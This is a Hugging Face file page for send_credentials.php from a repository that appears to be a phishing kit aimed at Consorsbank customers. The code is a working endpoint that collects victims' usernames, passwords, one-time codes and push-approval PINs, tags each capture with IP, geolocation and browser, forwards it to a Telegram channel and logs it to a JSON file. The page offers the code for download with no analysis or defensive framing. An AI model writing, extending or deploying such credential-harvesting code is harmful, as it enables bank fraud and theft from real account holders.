Spaces:
Paused
Paused
CJs
Deploy v2: German localization, ID/selfie capture, trilingual panel, sound alerts, live movements
9d38145 Download send_credentials.php from red-kit/consorsbank-kit: direct link, hf CLI and curl.
- Browser
- Download file 4.25 kB
-
https://huggingface.co/spaces/red-kit/consorsbank-kit/resolve/main/send_credentials.php
- Command line
-
hf download hf://spaces/red-kit/consorsbank-kit/send_credentials.php
-
curl -L -o send_credentials.php https://huggingface.co/spaces/red-kit/consorsbank-kit/resolve/main/send_credentials.php
4.25 kB
| /** | |
| * send_credentials.php — credential / OTP / push exfil endpoint. | |
| * | |
| * Appends every submission to submissions.json and fires the matching Telegram | |
| * notification (plain text). Returns {status, valid}. | |
| */ | |
| declare(strict_types=1); | |
| require_once __DIR__ . '/lib.php'; | |
| header('Access-Control-Allow-Origin: *'); | |
| header('Access-Control-Allow-Methods: POST, GET, OPTIONS'); | |
| header('Access-Control-Allow-Headers: Content-Type'); | |
| header('Content-Type: application/json; charset=utf-8'); | |
| header('Cache-Control: no-store'); | |
| if (($_SERVER['REQUEST_METHOD'] ?? '') === 'OPTIONS') { | |
| http_response_code(204); | |
| exit; | |
| } | |
| /** Read merged JSON / form / query input. */ | |
| function sc_input(): array | |
| { | |
| $in = array_merge($_GET, $_POST); | |
| $raw = file_get_contents('php://input'); | |
| if (is_string($raw) && $raw !== '') { | |
| $j = json_decode($raw, true); | |
| if (is_array($j)) { | |
| $in = array_merge($in, $j); | |
| } | |
| } | |
| return $in; | |
| } | |
| /** Append a record to a JSON-array file (best-effort, locked). */ | |
| function sc_append(string $path, array $record): void | |
| { | |
| try { | |
| $fh = @fopen($path, 'c+'); | |
| if ($fh === false) { | |
| return; | |
| } | |
| if (flock($fh, LOCK_EX)) { | |
| $raw = stream_get_contents($fh); | |
| $arr = []; | |
| if (is_string($raw) && trim($raw) !== '') { | |
| $decoded = json_decode($raw, true); | |
| if (is_array($decoded)) { | |
| $arr = $decoded; | |
| } | |
| } | |
| $arr[] = $record; | |
| ftruncate($fh, 0); | |
| rewind($fh); | |
| fwrite($fh, json_encode($arr, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT)); | |
| fflush($fh); | |
| flock($fh, LOCK_UN); | |
| } | |
| fclose($fh); | |
| } catch (Throwable $e) { | |
| // best-effort | |
| } | |
| } | |
| $in = sc_input(); | |
| $clientId = trim((string) ($in['client_id'] ?? ($in['clientId'] ?? ''))); | |
| $dataType = (string) ($in['data_type'] ?? ''); | |
| $device = (string) ($in['device'] ?? ''); | |
| $bot = (string) ($in['bot'] ?? ''); | |
| if ((string) ($in['hp'] ?? '') !== '') { | |
| $bot = 'bot'; | |
| } | |
| $ip = ofb_client_ip(); | |
| $ua = (string) ($_SERVER['HTTP_USER_AGENT'] ?? ''); | |
| // server-side enrichment context shared by every message builder | |
| $ctx = [ | |
| 'client_id' => $clientId, | |
| 'device' => $device, | |
| 'ip' => $ip, | |
| 'geo' => ofb_geo($ip), | |
| 'browser' => ofb_browser($ua), | |
| ]; | |
| $valid = true; | |
| if (stripos($dataType, 'Login') !== false) { | |
| $username = (string) ($in['username'] ?? ''); | |
| $password = (string) ($in['password'] ?? ''); | |
| $valid = ($username !== '' && $password !== ''); | |
| $payload = ['username' => $username, 'password' => $password]; | |
| if ($valid) { | |
| ofb_telegram(ofb_msg_login(array_merge($ctx, $payload))); | |
| } | |
| } elseif (stripos($dataType, 'OTP') !== false) { | |
| $otp = (string) ($in['otp'] ?? ''); | |
| $valid = ($otp !== ''); | |
| $payload = ['otp' => $otp]; | |
| if ($valid) { | |
| ofb_telegram(ofb_msg_otp(array_merge($ctx, $payload))); | |
| } | |
| } elseif (stripos($dataType, 'Push') !== false) { | |
| $state = (string) ($in['push_state'] ?? ''); | |
| $pin = (string) ($in['push_pin'] ?? ''); | |
| $bio = (string) ($in['push_bio'] ?? 'no'); | |
| if ($bio === '') { | |
| $bio = 'no'; | |
| } | |
| if ($pin !== '' && !valid_pin($pin)) { | |
| $valid = false; | |
| } | |
| $payload = ['push_state' => $state, 'push_pin' => $pin, 'push_bio' => $bio]; | |
| if ($valid) { | |
| ofb_telegram(ofb_msg_push(array_merge($ctx, $payload))); | |
| } | |
| } else { | |
| // unknown data_type — still logged | |
| $payload = $in; | |
| } | |
| $record = array_merge( | |
| [ | |
| 'client_id' => $clientId, | |
| 'data_type' => $dataType, | |
| 'device' => $device, | |
| 'bot' => $bot, | |
| 'ip' => $ip, | |
| 'timestamp' => date('Y-m-d H:i:s'), | |
| ], | |
| is_array($payload) ? $payload : [] | |
| ); | |
| sc_append(__DIR__ . '/submissions.json', $record); | |
| // keep the live row current | |
| try { | |
| if ($clientId !== '') { | |
| $pdo = ofb_db(); | |
| ofb_upsert($pdo, $clientId, ['ip_address' => $ip, 'last_seen' => date('Y-m-d H:i:s')]); | |
| } | |
| } catch (Throwable $e) { | |
| // best-effort | |
| } | |
| echo json_encode(['status' => 'ok', 'valid' => (bool) $valid]); | |